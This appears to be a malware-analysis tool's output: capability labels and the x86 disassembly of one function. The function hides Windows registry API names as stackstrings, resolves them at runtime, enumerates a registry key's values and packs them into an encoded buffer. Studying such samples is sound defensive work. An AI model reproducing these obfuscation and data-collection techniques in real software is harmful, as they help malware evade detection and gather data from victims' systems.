Function at 0x40e893
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
mov dword [ebp - 0x1c], ecx
nop
nop
nop
nop
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [ebp - 4], 0
and byte [ebp - 0x43], 0
lea eax, [ebp - 0x50]
push eax
push str.ADVAPI32.dll
mov byte [ebp - 0x50], 0x52
mov byte [ebp - 0x4f], 0x65
mov byte [ebp - 0x4e], 0x67
mov byte [ebp - 0x4d], 0x4f
mov byte [ebp - 0x4c], 0x70
mov byte [ebp - 0x4b], 0x65
mov byte [ebp - 0x4a], 0x6e
mov byte [ebp - 0x49], 0x4b
mov byte [ebp - 0x48], 0x65
mov byte [ebp - 0x47], 0x79
mov byte [ebp - 0x46], 0x45
mov byte [ebp - 0x45], 0x78
mov byte [ebp - 0x44], 0x41
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 0xe], 0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x18]
mov ebx, str.KERNEL32.dll
push eax
push ebx
mov byte [ebp - 0x18], 0x4c
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x63
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x41
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xf], 0x63
call esi
push eax
call edi
and byte [ebp - 0x34], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x40]
mov byte [ebp - 0x40], 0x4c
push eax
push ebx
mov byte [ebp - 0x3f], 0x6f
mov byte [ebp - 0x3e], 0x63
mov byte [ebp - 0x3d], 0x61
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0x52
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x41
mov byte [ebp - 0x38], 0x6c
mov byte [ebp - 0x37], 0x6c
mov byte [ebp - 0x36], 0x6f
mov byte [ebp - 0x35], 0x63
call esi
push eax
call edi
mov dword [ebp - 0x88], eax
mov byte [ebp - 0x64], 0x52
mov byte [ebp - 0x63], 0x65
mov byte [ebp - 0x62], 0x67
mov byte [ebp - 0x61], 0x51
mov byte [ebp - 0x60], 0x75
mov byte [ebp - 0x5f], 0x65
mov byte [ebp - 0x5e], 0x72
mov byte [ebp - 0x5d], 0x79
mov byte [ebp - 0x5c], 0x49
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x66
mov byte [ebp - 0x59], 0x6f
mov byte [ebp - 0x58], 0x4b
and byte [ebp - 0x54], 0
lea eax, [ebp - 0x64]
push eax
push str.ADVAPI32.dll
mov byte [ebp - 0x57], 0x65
mov byte [ebp - 0x56], 0x79
mov byte [ebp - 0x55], 0x41
call esi
push eax
call edi
mov ebx, eax
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
push 0xf003f
push 0
lea ecx, [eax + 8]
push ecx
push dword [eax + 4]
call dword [ebp - 0x28]
test eax, eax
jne 0x40ebd2
push eax
lea ecx, [ebp - 0x28]
push eax
push ecx
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x90]
push eax
push ecx
lea ecx, [ebp - 0x94]
push ecx
push eax
push eax
push eax
push dword [ebp - 0x20]
call ebx
test eax, eax
je 0x40ea27
xor eax, eax
jmp 0x40ebd5
mov ecx, dword [ebp - 0x78]
test ecx, ecx
jbe 0x40ebd2
mov eax, dword [ebp - 0x28]
test eax, eax
jbe 0x40ebd2
cmp dword [ebp - 0xc], 0
jbe 0x40ebd2
lea ebx, [eax + 1]
mov eax, dword [ebp - 0x1c]
add eax, 0x64
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0xc], eax
lea ebx, [ebx + eax + 1]
mov dword [ebp - 0x84], ecx
imul ebx, ecx
add ebx, 0x16
mov dword [ebp - 0x80], eax
push ebx
push 0x40
call dword [ebp - 8]
push ebx
push 0
push eax
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 0x84]
mov byte [eax], 0x87
push 0xc
inc eax
push ecx
mov ecx, dword [0x42d2a8]
push eax
call fcn.0040d7d4
push dword [ebp - 0xc]
call dword [sym.imp.MSVCRT.dll_malloc]
push dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
call dword [sym.imp.MSVCRT.dll_malloc]
and byte [ebp - 0x67], 0
pop ecx
mov dword [ebp - 8], eax
pop ecx
lea eax, [ebp - 0x74]
mov byte [ebp - 0x74], 0x52
push eax
push str.ADVAPI32.dll
mov byte [ebp - 0x73], 0x65
mov byte [ebp - 0x72], 0x67
mov byte [ebp - 0x71], 0x45
mov byte [ebp - 0x70], 0x6e
mov byte [ebp - 0x6f], 0x75
mov byte [ebp - 0x6e], 0x6d
mov byte [ebp - 0x6d], 0x56
mov byte [ebp - 0x6c], 0x61
mov byte [ebp - 0x6b], 0x6c
mov byte [ebp - 0x6a], 0x75
mov byte [ebp - 0x69], 0x65
mov byte [ebp - 0x68], 0x41
call esi
push eax
call edi
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 4]
xor edi, edi
cmp dword [ebp - 0x78], edi
lea esi, [eax + 0xd]
jbe 0x40ebb1
push dword [ebp - 0xc]
push 0
push dword [ebp - 0x30]
call sub.MSVCRT.dll_memset
push dword [ebp - 0x24]
push 0
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0x28]
add esp, 0x18
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x64
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2c]
push dword [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push 0
push eax
push dword [ebp - 0x30]
push edi
push dword [ebp - 0x20]
call dword [ebp - 0x8c]
cmp dword [ebp - 0x2c], 1
jne 0x40eb68
and byte [esi], 0
cmp dword [ebp - 0x2c], 4
jne 0x40eb71
mov byte [esi], 1
cmp dword [ebp - 0x2c], 3
jne 0x40eb7a
mov byte [esi], 2
cmp dword [ebp - 0x2c], 2
jne 0x40eb83
mov byte [esi], 3
push dword [ebp - 0x30]
inc esi
push esi
call sub.MSVCRT.dll_strcpy
add esi, dword [ebp - 0x80]
pop ecx
pop ecx
push dword [ebp - 0x7c]
mov ecx, dword [0x42d2a8]
push dword [ebp - 8]
push esi
call fcn.0040d7d4
add esi, dword [ebp - 0x7c]
inc edi
cmp edi, dword [ebp - 0x78]
jb 0x40eb14
push dword [ebp - 0x30]
mov esi, dword [sym.imp.MSVCRT.dll_free]
call esi
push dword [ebp - 8]
call esi
pop ecx
pop ecx
push 0x42
push ebx
push dword [ebp - 4]
call dword [ebp - 0x88]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret